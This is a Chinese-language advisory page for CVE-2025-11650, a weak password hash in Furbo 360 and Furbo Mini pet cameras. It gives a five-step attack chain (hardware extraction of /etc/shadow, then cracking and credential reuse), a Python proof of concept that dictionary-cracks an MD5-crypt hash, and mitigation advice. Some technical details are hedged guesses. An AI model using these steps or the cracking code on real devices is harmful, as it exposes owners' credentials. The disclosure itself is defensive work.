IPBUF安全漏洞报告
English
CVE-2025-11650 CVSS 1.8 低危

CVE-2025-11650:Tomofun Furbo设备密码处理器使用弱哈希漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11650
漏洞类型
弱哈希算法(密码加密不安全)
CVSS评分
1.8 低危
攻击向量
物理 (AV:P)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini 智能摄像头

相关标签

弱哈希密码安全IoT设备智能摄像头TomofunFurbo 360Furbo Mini物理攻击CVE-2025-11650低危漏洞

漏洞概述

CVE-2025-11650是Tomofun公司旗下Furbo 360和Furbo Mini智能宠物摄像头设备中存在的一个安全漏洞。该漏洞位于设备的密码处理组件中,具体涉及/etc/shadow文件中的未知函数。由于该组件使用了不安全的弱哈希算法来存储用户密码,攻击者一旦获得对设备的物理访问权限,就有可能利用该漏洞获取明文密码或进行密码破解,从而导致用户凭证泄露。

根据CVSS 3.1评分标准,该漏洞评分为1.8分,属于低危级别。攻击者需要物理接触设备(AV:P)才能实施攻击,同时需要具备较高的攻击复杂度(AC:H)并拥有低权限(PR:L)。漏洞影响主要体现在机密性方面(C:L),而对完整性和可用性没有影响。该漏洞已被公开披露,可能被恶意攻击者利用。

值得注意的是,尽管该漏洞的CVSS评分较低,但由于涉及智能摄像头这类IoT设备,且攻击者需要物理接触设备才能利用,因此其实际威胁程度取决于设备的使用环境。在公共区域或不安全的环境中部署的Furbo设备面临的风险相对更高。供应商Tomofun在被提前告知该漏洞后未做出任何回应,这增加了用户自行采取安全措施的必要性。

技术细节

该漏洞的核心问题在于Furbo 360和Furbo Mini设备固件中密码处理组件使用了不安全的弱哈希算法。具体技术细节如下:

1. **漏洞位置**:受影响的功能位于设备固件的/etc/shadow文件中,这是Linux系统中存储用户密码哈希的标准文件。密码处理组件在处理用户凭证时调用了存在安全缺陷的哈希函数。

2. **弱哈希问题**:现代安全实践要求使用如bcrypt、scrypt、Argon2等抗暴力破解的强哈希算法来存储密码。然而,该设备使用了较弱的哈希算法(如MD5、SHA-1或未加盐的简单哈希),这些算法容易被现代计算能力快速破解。

3. **利用条件**:攻击者需要物理接触设备(AV:P),这意味着需要能够直接访问硬件设备。攻击复杂度较高(AC:H),因为攻击者需要提取固件或直接读取存储介质中的密码哈希文件。攻击者还需要具备低权限(PR:L),这可能意味着需要先获取设备的某种形式的访问权限。

4. **利用方式**:攻击者首先通过物理手段获取设备访问权限,然后提取/etc/shadow文件中的密码哈希。由于使用了弱哈希算法,攻击者可以使用彩虹表或暴力破解工具快速恢复明文密码。一旦获得明文密码,攻击者可以访问设备的其他受保护资源或用于凭证填充攻击其他服务。

5. **影响范围**:Furbo 360固件版本最高至FB0035_FW_036,Furbo Mini固件版本最高至MC0020_FW_074均受此漏洞影响。

攻击链分析

STEP 1
步骤1:物理接触目标设备
攻击者需要物理接触到目标Furbo 360或Furbo Mini设备,获取设备的硬件访问权限。
STEP 2
步骤2:提取存储介质或固件
通过拆解设备、连接调试接口(如UART/JTAG)或直接从闪存芯片中提取固件,获取设备文件系统中的/etc/shadow文件。
STEP 3
步骤3:解析密码哈希
从提取的/etc/shadow文件中解析出用户密码哈希值,识别出使用的弱哈希算法类型。
STEP 4
步骤4:破解弱哈希密码
利用彩虹表、字典攻击或暴力破解工具对弱哈希密码进行破解,恢复明文密码。
STEP 5
步骤5:利用泄露的凭证
使用破解得到的明文密码访问设备的其他受保护资源,或将凭证用于针对其他服务的凭证填充攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11650 PoC - Furbo Weak Hash Vulnerability # This PoC demonstrates the concept of extracting and cracking weak password hashes # from Furbo 360 and Furbo Mini devices' /etc/shadow file. import hashlib import crypt # Step 1: Simulate extracting the /etc/shadow file from the compromised device # In a real attack, this would involve physical access to extract the file def extract_shadow_file(): """ Simulates the extraction of /etc/shadow from a Furbo device. The actual shadow file would be obtained through physical access, JTAG/UART debugging, or firmware extraction. """ # Example weak hash entry from /etc/shadow # Format: username:password_hash:lastchange:min:max:warn:inactive:expire shadow_entry = "furbo_user:$1$salt$weakHashValue:19000:0:99999:7:::" return shadow_entry # Step 2: Parse the shadow file entry def parse_shadow_entry(entry): """Parse a shadow file entry to extract the hash.""" parts = entry.split(':') username = parts[0] password_hash = parts[1] return username, password_hash # Step 3: Identify the hash algorithm used def identify_hash_algorithm(hash_str): """Identify the hash algorithm based on the prefix.""" if hash_str.startswith("$1$"): return "MD5 (weak)" elif hash_str.startswith("$2a$") or hash_str.startswith("$2b$"): return "bcrypt (strong)" elif hash_str.startswith("$5$"): return "SHA-256" elif hash_str.startswith("$6$"): return "SHA-512 (strong)" else: return "Unknown/Weak" # Step 4: Crack the weak hash using dictionary attack def crack_weak_hash(hash_str, wordlist): """ Attempt to crack a weak hash using a dictionary attack. MD5-based hashes ($1$) can be cracked relatively quickly. """ # Extract salt from the hash parts = hash_str.split('$') if len(parts) >= 4: salt = f"${parts[1]}${parts[2]}$" else: salt = "" for password in wordlist: # crypt() uses the salt to determine the algorithm test_hash = crypt.crypt(password, salt) if test_hash == hash_str: return password return None # Main execution if __name__ == "__main__": # Extract shadow file shadow = extract_shadow_file() username, pwd_hash = parse_shadow_entry(shadow) print(f"[*] Extracted shadow entry for user: {username}") print(f"[*] Password hash: {pwd_hash}") print(f"[*] Hash algorithm: {identify_hash_algorithm(pwd_hash)}") # Common password wordlist for demonstration wordlist = ["password", "admin", "furbo123", "123456", "password123"] print(f"[*] Attempting to crack weak hash...") cracked = crack_weak_hash(pwd_hash, wordlist) if cracked: print(f"[+] Password cracked: {cracked}") print(f"[!] Device credentials compromised!") else: print("[-] Password not found in wordlist")

影响范围

Furbo 360 <= FB0035_FW_036
Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
由于供应商未对此漏洞做出回应,建议用户采取以下临时缓解措施:1)将设备放置在受控的物理环境中,限制非授权人员的物理接触;2)定期检查设备是否有被拆解或篡改的痕迹;3)使用强密码并定期更换;4)监控设备网络流量,检测异常活动;5)考虑使用防火墙或网络隔离措施限制设备的网络访问;6)关注Tomofun官方发布的安全更新信息,及时应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表